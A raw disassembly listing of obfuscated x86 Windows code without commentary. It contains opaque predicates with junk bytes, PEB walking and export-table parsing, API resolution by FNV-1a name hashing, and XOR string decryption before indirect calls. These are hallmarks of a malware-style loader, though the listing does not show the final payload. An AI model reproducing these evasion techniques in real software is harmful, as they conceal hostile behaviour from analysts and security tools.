mov eax, dword [esp + 0x334]
mov ecx, dword [esp + 0x1604]
add eax, ecx
mov dword [esp + 0x2f4], eax
mov eax, dword [esp + 0x1574]
mov ecx, dword [esp + 0x1570]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x2f8], eax
mov dword [esp + 0x15e4], 0x40220000
mov dword [esp + 0x15e0], 0
xor eax, eax
je 0x43a05c
add dl, dh
movups xmm0, xmmword [esp + 0x15e0]
movsd xmm0, qword [esp + 0x15e0]
movsx eax, byte [0x4a32f4]
cvtsi2sd xmm2, eax
movsx eax, byte [section..data]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x49a0e0]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x15d8], xmm0
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x2fc], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x2fc]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x304], eax
call fcn.00434880
movsx eax, al
imul eax, eax, 0xa
mov dword [esp + 0x300], eax
call fcn.00434890
mov ecx, dword [esp + 0x300]
mov dl, al
mov eax, dword [esp + 0x304]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43a18c
mov al, byte [section..data]
movsx eax, al
mov dword [esp + 0x2e8], eax
call fcn.00434840
mov cl, al
mov eax, dword [esp + 0x2e8]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x2ec], eax
call fcn.00434850
mov cl, al
mov eax, dword [esp + 0x2ec]
movsx ecx, cl
imul ecx, ecx, 5
mov dl, byte [0x4a4201]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x2f0], eax
call fcn.00434860
mov cl, al
mov eax, dword [esp + 0x2f0]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43a18a
mov dword [esp + 0x15ec], 0xa
jmp 0x43a2b9
jmp 0x43a18c
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x2dc], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x2dc]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x2e4], eax
call fcn.00434880
movsx eax, al
shl eax, 1
mov dword [esp + 0x2e0], eax
call fcn.00434890
mov ecx, dword [esp + 0x2e0]
mov dl, al
mov eax, dword [esp + 0x2e4]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43a2b7
movsd xmm0, qword [esp + 0x15d8]
movsd qword [esp + 0x2d0], xmm0
movsx eax, byte [0x4a3001]
mov dword [esp + 0x2c8], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x2c8]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x2d8], eax
call fcn.00434880
movsx eax, al
mov dword [esp + 0x2cc], eax
call fcn.00434890
mov ecx, dword [esp + 0x2cc]
movsd xmm0, qword [esp + 0x2d0]
mov dl, al
mov eax, dword [esp + 0x2d8]
movsx edx, dl
imul ecx, edx
lea ecx, [ecx + ecx*2]
lea eax, [eax + ecx*2]
movsx ecx, byte [0x4a3002]
xor edx, edx
div ecx
movsx ecx, byte [0x4a3003]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x49a0f0]
por xmm1, xmm2
movsd xmm2, qword [0x49a100]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x15ec], eax
jmp 0x43a2b9
ud2
mov eax, dword [esp + 0x2f4]
mov ecx, dword [esp + 0x2f8]
and ecx, dword [esp + 0x15ec]
shl ecx, 1
sub eax, ecx
mov dl, al
mov eax, dword [esp + 0x1574]
mov ecx, dword [esp + 0x1570]
mov byte [eax + ecx], dl
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x2bc], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x2bc]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x2c4], eax
call fcn.00434880
movsx eax, al
shl eax, 3
mov dword [esp + 0x2c0], eax
call fcn.00434890
mov ecx, dword [esp + 0x2c0]
mov dl, al
mov eax, dword [esp + 0x2c4]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43a8cb
mov eax, dword [esp + 0x1574]
mov ecx, dword [esp + 0x1570]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x2ac], eax
mov eax, dword [esp + 0x1570]
add eax, 6
cvtsi2sd xmm0, eax
movsd qword [esp + 0x15c8], xmm0
xor eax, eax
je 0x43a393
add dl, dh
movups xmm0, xmmword [esp + 0x15c8]
movsd xmm0, qword [esp + 0x15c8]
movsx eax, byte [0x4a32f4]
cvtsi2sd xmm2, eax
movsx eax, byte [section..data]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x49a0e0]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x15c0], xmm0
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x2b0], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x2b0]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x2b8], eax
call fcn.00434880
movsx eax, al
imul eax, eax, 0xa
mov dword [esp + 0x2b4], eax
call fcn.00434890
mov ecx, dword [esp + 0x2b4]
mov dl, al
mov eax, dword [esp + 0x2b8]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43a4c3
mov al, byte [section..data]
movsx eax, al
mov dword [esp + 0x2a0], eax
call fcn.00434840
mov cl, al
mov eax, dword [esp + 0x2a0]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x2a4], eax
call fcn.00434850
mov cl, al
mov eax, dword [esp + 0x2a4]
movsx ecx, cl
imul ecx, ecx, 5
mov dl, byte [0x4a4201]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x2a8], eax
call fcn.00434860
mov cl, al
mov eax, dword [esp + 0x2a8]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43a4c1
mov dword [esp + 0x15d4], 0xa
jmp 0x43a5f0
jmp 0x43a4c3
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x294], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x294]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x29c], eax
call fcn.00434880
movsx eax, al
shl eax, 1
mov dword [esp + 0x298], eax
call fcn.00434890
mov ecx, dword [esp + 0x298]
mov dl, al
mov eax, dword [esp + 0x29c]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43a5ee
movsd xmm0, qword [esp + 0x15c0]
movsd qword [esp + 0x288], xmm0
movsx eax, byte [0x4a3001]
mov dword [esp + 0x280], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x280]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x290], eax
call fcn.00434880
movsx eax, al
mov dword [esp + 0x284], eax
call fcn.00434890
mov ecx, dword [esp + 0x284]
movsd xmm0, qword [esp + 0x288]
mov dl, al
mov eax, dword [esp + 0x290]
movsx edx, dl
imul ecx, edx
lea ecx, [ecx + ecx*2]
lea eax, [eax + ecx*2]
movsx ecx, byte [0x4a3002]
xor edx, edx
div ecx
movsx ecx, byte [0x4a3003]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x49a0f0]
por xmm1, xmm2
movsd xmm2, qword [0x49a100]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x15d4], eax
jmp 0x43a5f0
ud2
mov eax, dword [esp + 0x2ac]
movsx ecx, byte [esp + 0x15d4]
add eax, ecx
mov dword [esp + 0x26c], eax
mov eax, dword [esp + 0x1574]
mov ecx, dword [esp + 0x1570]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x270], eax
mov eax, dword [esp + 0x1570]
add eax, 6
cvtsi2sd xmm0, eax
movsd qword [esp + 0x15b0], xmm0
xor eax, eax
je 0x43a63d
add dl, dh
movups xmm0, xmmword [esp + 0x15b0]
movsd xmm0, qword [esp + 0x15b0]
movsx eax, byte [0x4a32f4]
cvtsi2sd xmm2, eax
movsx eax, byte [section..data]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x49a0e0]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x15a8], xmm0
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x274], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x274]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x27c], eax
call fcn.00434880
movsx eax, al
imul eax, eax, 0xa
mov dword [esp + 0x278], eax
call fcn.00434890
mov ecx, dword [esp + 0x278]
mov dl, al
mov eax, dword [esp + 0x27c]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43a76d
mov al, byte [section..data]
movsx eax, al
mov dword [esp + 0x260], eax
call fcn.00434840
mov cl, al
mov eax, dword [esp + 0x260]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x264], eax
call fcn.00434850
mov cl, al
mov eax, dword [esp + 0x264]
movsx ecx, cl
imul ecx, ecx, 5
mov dl, byte [0x4a4201]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x268], eax
call fcn.00434860
mov cl, al
mov eax, dword [esp + 0x268]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43a76b
mov dword [esp + 0x15bc], 0xa
jmp 0x43a89a
jmp 0x43a76d
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x254], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x254]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x25c], eax
call fcn.00434880
movsx eax, al
shl eax, 1
mov dword [esp + 0x258], eax
call fcn.00434890
mov ecx, dword [esp + 0x258]
mov dl, al
mov eax, dword [esp + 0x25c]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43a898
movsd xmm0, qword [esp + 0x15a8]
movsd qword [esp + 0x248], xmm0
movsx eax, byte [0x4a3001]
mov dword [esp + 0x240], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x240]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x250], eax
call fcn.00434880
movsx eax, al
mov dword [esp + 0x244], eax
call fcn.00434890
mov ecx, dword [esp + 0x244]
movsd xmm0, qword [esp + 0x248]
mov dl, al
mov eax, dword [esp + 0x250]
movsx edx, dl
imul ecx, edx
lea ecx, [ecx + ecx*2]
lea eax, [eax + ecx*2]
movsx ecx, byte [0x4a3002]
xor edx, edx
div ecx
movsx ecx, byte [0x4a3003]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x49a0f0]
por xmm1, xmm2
movsd xmm2, qword [0x49a100]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x15bc], eax
jmp 0x43a89a
ud2
mov eax, dword [esp + 0x26c]
mov ecx, dword [esp + 0x270]
mov edx, dword [esp + 0x15bc]
movsx edx, dl
and ecx, edx
shl ecx, 1
sub eax, ecx
mov dl, al
mov eax, dword [esp + 0x1574]
mov ecx, dword [esp + 0x1570]
mov byte [eax + ecx], dl
jmp 0x43a8cd
mov al, byte [section..data]
movsx eax, al
mov dword [esp + 0x234], eax
call fcn.00434840
mov cl, al
mov eax, dword [esp + 0x234]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x238], eax
call fcn.00434850
mov cl, al
mov eax, dword [esp + 0x238]
movsx ecx, cl
shl ecx, 2
mov dl, byte [0x4a4201]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x23c], eax
call fcn.00434860
mov cl, al
mov eax, dword [esp + 0x23c]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43aea0
mov eax, dword [esp + 0x1574]
mov ecx, dword [esp + 0x1570]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x224], eax
mov dword [esp + 0x159c], 0x40240000
mov dword [esp + 0x1598], 0
xor eax, eax
je 0x43a96f
add dl, dh
movups xmm0, xmmword [esp + 0x1598]
movsd xmm0, qword [esp + 0x1598]
movsx eax, byte [0x4a32f4]
cvtsi2sd xmm2, eax
movsx eax, byte [section..data]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x49a0e0]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x1590], xmm0
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x228], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x228]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x230], eax
call fcn.00434880
movsx eax, al
imul eax, eax, 0xa
mov dword [esp + 0x22c], eax
call fcn.00434890
mov ecx, dword [esp + 0x22c]
mov dl, al
mov eax, dword [esp + 0x230]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43aa9f
mov al, byte [section..data]
movsx eax, al
mov dword [esp + 0x218], eax
call fcn.00434840
mov cl, al
mov eax, dword [esp + 0x218]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x21c], eax
call fcn.00434850
mov cl, al
mov eax, dword [esp + 0x21c]
movsx ecx, cl
imul ecx, ecx, 5
mov dl, byte [0x4a4201]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x220], eax
call fcn.00434860
mov cl, al
mov eax, dword [esp + 0x220]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43aa9d
mov dword [esp + 0x15a4], 0xa
jmp 0x43abcc
jmp 0x43aa9f
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x20c], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x20c]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x214], eax
call fcn.00434880
movsx eax, al
shl eax, 1
mov dword [esp + 0x210], eax
call fcn.00434890
mov ecx, dword [esp + 0x210]
mov dl, al
mov eax, dword [esp + 0x214]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43abca
movsd xmm0, qword [esp + 0x1590]
movsd qword [esp + 0x200], xmm0
movsx eax, byte [0x4a3001]
mov dword [esp + 0x1f8], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x1f8]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x208], eax
call fcn.00434880
movsx eax, al
mov dword [esp + 0x1fc], eax
call fcn.00434890
mov ecx, dword [esp + 0x1fc]
movsd xmm0, qword [esp + 0x200]
mov dl, al
mov eax, dword [esp + 0x208]
movsx edx, dl
imul ecx, edx
lea ecx, [ecx + ecx*2]
lea eax, [eax + ecx*2]
movsx ecx, byte [0x4a3002]
xor edx, edx
div ecx
movsx ecx, byte [0x4a3003]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x49a0f0]
por xmm1, xmm2
movsd xmm2, qword [0x49a100]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x15a4], eax
jmp 0x43abcc
ud2
mov eax, dword [esp + 0x224]
mov ecx, dword [esp + 0x15a4]
add eax, ecx
mov dword [esp + 0x1e4], eax
mov eax, dword [esp + 0x1574]
mov ecx, dword [esp + 0x1570]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x1e8], eax
mov dword [esp + 0x1584], 0x40240000
mov dword [esp + 0x1580], 0
xor eax, eax
je 0x43ac17
add dl, dh
movups xmm0, xmmword [esp + 0x1580]
movsd xmm0, qword [esp + 0x1580]
movsx eax, byte [0x4a32f4]
cvtsi2sd xmm2, eax
movsx eax, byte [section..data]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x49a0e0]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x1578], xmm0
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x1ec], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x1ec]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x1f4], eax
call fcn.00434880
movsx eax, al
imul eax, eax, 0xa
mov dword [esp + 0x1f0], eax
call fcn.00434890
mov ecx, dword [esp + 0x1f0]
mov dl, al
mov eax, dword [esp + 0x1f4]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43ad47
mov al, byte [section..data]
movsx eax, al
mov dword [esp + 0x1d8], eax
call fcn.00434840
mov cl, al
mov eax, dword [esp + 0x1d8]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x1dc], eax
call fcn.00434850
mov cl, al
mov eax, dword [esp + 0x1dc]
movsx ecx, cl
imul ecx, ecx, 5
mov dl, byte [0x4a4201]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x1e0], eax
call fcn.00434860
mov cl, al
mov eax, dword [esp + 0x1e0]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43ad45
mov dword [esp + 0x158c], 0xa
jmp 0x43ae74
jmp 0x43ad47
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x1cc], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x1cc]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x1d4], eax
call fcn.00434880
movsx eax, al
shl eax, 1
mov dword [esp + 0x1d0], eax
call fcn.00434890
mov ecx, dword [esp + 0x1d0]
mov dl, al
mov eax, dword [esp + 0x1d4]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43ae72
movsd xmm0, qword [esp + 0x1578]
movsd qword [esp + 0x1c0], xmm0
movsx eax, byte [0x4a3001]
mov dword [esp + 0x1b8], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x1b8]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x1c8], eax
call fcn.00434880
movsx eax, al
mov dword [esp + 0x1bc], eax
call fcn.00434890
mov ecx, dword [esp + 0x1bc]
movsd xmm0, qword [esp + 0x1c0]
mov dl, al
mov eax, dword [esp + 0x1c8]
movsx edx, dl
imul ecx, edx
lea ecx, [ecx + ecx*2]
lea eax, [eax + ecx*2]
movsx ecx, byte [0x4a3002]
xor edx, edx
div ecx
movsx ecx, byte [0x4a3003]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x49a0f0]
por xmm1, xmm2
movsd xmm2, qword [0x49a100]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x158c], eax
jmp 0x43ae74
ud2
mov eax, dword [esp + 0x1e4]
mov ecx, dword [esp + 0x1e8]
and ecx, dword [esp + 0x158c]
shl ecx, 1
sub eax, ecx
mov dl, al
mov eax, dword [esp + 0x1574]
mov ecx, dword [esp + 0x1570]
mov byte [eax + ecx], dl
mov eax, dword [esp + 0x1570]
add eax, 1
mov dword [esp + 0x1570], eax
jmp 0x4390e3
jmp 0x43aeb8
jmp 0x43aeba
mov eax, dword [esp + 0x474]
mov byte [eax], 1
add eax, 1
mov dword [esp + 0x1b4], eax
jmp 0x43aed0
mov eax, dword [esp + 0x1b4]
mov dword [esp + 0x8a8], eax
mov eax, esp
lea ecx, [esp + 0x87f]
mov dword [eax], ecx
lea ecx, [esp + 0x880]
call fcn.0043ee10
sub esp, 4
jmp 0x43aefa
lea eax, [esp + 0x890]
mov dword [esp + 0x998], eax
lea eax, [esp + 0x880]
mov dword [esp + 0x994], eax
lea eax, [esp + 0xd9c]
mov dword [esp + 0xda4], eax
mov eax, dword [esp + 0xda4]
mov dword [esp + 0xe00], 0x30
mov ecx, dword [esp + 0xe00]
mov ecx, dword fs:[ecx]
mov dword [esp + 0xdfc], ecx
mov ecx, dword [esp + 0xdfc]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov dword [eax], ecx
mov eax, dword [esp + 0xd9c]
mov eax, dword [eax + 0x18]
lea ecx, [esp + 0xd90]
mov dword [esp + 0xdb4], ecx
mov dword [esp + 0xdb0], eax
mov eax, dword [esp + 0xdb4]
mov ecx, dword [esp + 0xdb0]
mov dword [eax], ecx
mov ecx, dword [esp + 0xdb0]
mov dword [esp + 0xe04], ecx
mov ecx, dword [esp + 0xe04]
mov edx, dword [esp + 0xe04]
mov edx, dword [edx + 0x3c]
mov esi, dword [ecx + edx + 0x78]
mov dword [esp + 0xda8], esi
mov ecx, dword [ecx + edx + 0x7c]
mov dword [esp + 0xdac], ecx
mov ecx, dword [esp + 0xdb0]
add ecx, dword [esp + 0xda8]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0xdac]
mov dword [eax + 8], ecx
lea eax, [esp + 0xd90]
mov dword [esp + 0xdb8], eax
mov ecx, dword [esp + 0xdb8]
mov eax, dword [ecx + 4]
cmp eax, dword [ecx]
je 0x43b189
lea eax, [esp + 0xd90]
mov dword [esp + 0xdbc], eax
mov eax, dword [esp + 0xdbc]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x18]
mov dword [esp + 0xd8c], eax
mov eax, dword [esp + 0xd8c]
mov ecx, eax
add ecx, 0xffffffff
mov dword [esp + 0xd8c], ecx
cmp eax, 0
je 0x43b187
mov eax, dword [esp + 0xd8c]
lea ecx, [esp + 0xd90]
mov dword [esp + 0xdd4], ecx
mov dword [esp + 0xdd0], eax
mov eax, dword [esp + 0xdd4]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x20]
mov eax, ecx
add eax, edx
mov edx, dword [esp + 0xdd0]
mov eax, dword [eax + edx*4]
add ecx, eax
mov dword [esp + 0xddc], 0x89335270
mov dword [esp + 0xdd8], 0x2695f338
mov eax, dword [esp + 0xddc]
mov dword [esp + 0xdcc], ecx
mov dword [esp + 0xdc8], eax
mov eax, dword [esp + 0xdc8]
mov dword [esp + 0xdc4], eax
mov eax, dword [esp + 0xdcc]
mov ecx, eax
add ecx, 1
mov dword [esp + 0xdcc], ecx
mov al, byte [eax]
mov byte [esp + 0xdc3], al
cmp byte [esp + 0xdc3], 0
je 0x43b15a
mov ecx, dword [esp + 0xdc4]
mov al, byte [esp + 0xdc3]
mov dword [esp + 0xe0c], ecx
mov byte [esp + 0xe0b], al
mov eax, dword [esp + 0xe0c]
mov dword [esp + 0x1b0], eax
movsx eax, byte [esp + 0xe0b]
cmp eax, 0x41
jl 0x43b129
movsx eax, byte [esp + 0xe0b]
cmp eax, 0x5a
jg 0x43b129
movsx eax, byte [esp + 0xe0b]
or eax, 0x20
mov dword [esp + 0x1ac], eax
jmp 0x43b138
movsx eax, byte [esp + 0xe0b]
mov dword [esp + 0x1ac], eax
mov eax, dword [esp + 0x1b0]
mov ecx, dword [esp + 0x1ac]
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [esp + 0xdc4], eax
jmp 0x43b0a7
mov eax, dword [esp + 0xdc4]
mov dword [esp + 0xde4], 0x89335270
mov dword [esp + 0xde0], 0x2695f338
mov ecx, dword [esp + 0xde0]
cmp eax, ecx
je 0x43b1b7
jmp 0x43b017
jmp 0x43b189
lea eax, [esp + 0xd9c]
mov dword [esp + 0xdf8], eax
mov eax, dword [esp + 0xdf8]
mov ecx, dword [eax]
mov dword [esp + 0xe10], ecx
mov ecx, dword [esp + 0xe10]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x43af56
mov eax, dword [esp + 0xd8c]
lea ecx, [esp + 0xd90]
mov dword [esp + 0xdf4], ecx
mov dword [esp + 0xdf0], eax
mov eax, dword [esp + 0xdf4]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x1c]
mov dword [esp + 0xdec], ecx
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x24]
mov dword [esp + 0xde8], ecx
mov eax, dword [eax]
mov ecx, dword [esp + 0xdec]
mov edx, dword [esp + 0xde8]
mov esi, dword [esp + 0xdf0]
movzx edx, word [edx + esi*2]
add eax, dword [ecx + edx*4]
mov dword [esp + 0xda0], eax
mov eax, dword [esp + 0xda0]
mov dword [esp + 0x1a4], eax
mov eax, dword [esp + 0x994]
mov dword [esp + 0xa30], eax
mov eax, dword [esp + 0xa30]
mov dword [esp + 0xa4c], eax
mov eax, dword [esp + 0xa4c]
mov dword [esp + 0x1a8], eax
mov dword [esp + 0xaa8], eax
mov eax, dword [esp + 0xaa8]
movsx eax, byte [eax + 0xf]
cmp eax, 0
je 0x43b2e7
mov eax, dword [esp + 0x1a8]
mov dword [esp + 0xb44], eax
mov dword [esp + 0xb40], eax
mov eax, dword [esp + 0xb44]
mov dword [esp + 0x1a0], eax
mov dword [esp + 0xb3c], 0
cmp dword [esp + 0xb3c], 0x10
jge 0x43b2e5
mov eax, dword [esp + 0x1a0]
mov ecx, dword [esp + 0xb40]
mov edx, dword [esp + 0xb3c]
movsx ecx, byte [ecx + edx]
xor ecx, 0xffffffc2
xor ecx, 0xca
mov dl, cl
mov ecx, dword [esp + 0xb3c]
mov byte [eax + ecx], dl
mov eax, dword [esp + 0xb3c]
add eax, 1
mov dword [esp + 0xb3c], eax
jmp 0x43b29a
jmp 0x43b2e7
mov eax, dword [esp + 0x1a4]
mov edx, dword [esp + 0x1a8]
mov ecx, esp
mov dword [ecx], edx
call eax
sub esp, 4
jmp 0x43b300
jmp 0x43b302
mov ecx, dword [esp + 0x8b8]
mov edx, dword [esp + 0x8a8]
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [esp + 0x19c], eax
jmp 0x43b32a
mov eax, dword [esp + 0x19c]
mov ecx, dword [esp + 0x8f0]
mov edx, dword [ecx + 0x34]
mov ecx, esp
mov dword [ecx + 4], edx
mov dword [ecx], 0xffffffff
call eax
sub esp, 8
jmp 0x43b34d
mov eax, esp
lea ecx, [esp + 0x86d]
mov dword [eax], ecx
lea ecx, [esp + 0x86e]
call fcn.0043ee70
sub esp, 4
jmp 0x43b369
lea eax, [esp + 0x87e]
mov dword [esp + 0x9a0], eax
lea eax, [esp + 0x86e]
mov dword [esp + 0x99c], eax
lea eax, [esp + 0xe24]
mov dword [esp + 0xe2c], eax
mov eax, dword [esp + 0xe2c]
mov dword [esp + 0xe88], 0x30
mov ecx, dword [esp + 0xe88]
mov ecx, dword fs:[ecx]
mov dword [esp + 0xe84], ecx
mov ecx, dword [esp + 0xe84]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov dword [eax], ecx
mov eax, dword [esp + 0xe24]
mov eax, dword [eax + 0x18]
lea ecx, [esp + 0xe18]
mov dword [esp + 0xe3c], ecx
mov dword [esp + 0xe38], eax
mov eax, dword [esp + 0xe3c]
mov ecx, dword [esp + 0xe38]
mov dword [eax], ecx
mov ecx, dword [esp + 0xe38]
mov dword [esp + 0xe8c], ecx
mov ecx, dword [esp + 0xe8c]
mov edx, dword [esp + 0xe8c]
mov edx, dword [edx + 0x3c]
mov esi, dword [ecx + edx + 0x78]
mov dword [esp + 0xe30], esi
mov ecx, dword [ecx + edx + 0x7c]
mov dword [esp + 0xe34], ecx
mov ecx, dword [esp + 0xe38]
add ecx, dword [esp + 0xe30]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0xe34]
mov dword [eax + 8], ecx
lea eax, [esp + 0xe18]
mov dword [esp + 0xe40], eax
mov ecx, dword [esp + 0xe40]
mov eax, dword [ecx + 4]
cmp eax, dword [ecx]
je 0x43b5f8
lea eax, [esp + 0xe18]
mov dword [esp + 0xe44], eax
mov eax, dword [esp + 0xe44]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x18]
mov dword [esp + 0xe14], eax
mov eax, dword [esp + 0xe14]
mov ecx, eax
add ecx, 0xffffffff
mov dword [esp + 0xe14], ecx
cmp eax, 0
je 0x43b5f6
mov eax, dword [esp + 0xe14]
lea ecx, [esp + 0xe18]
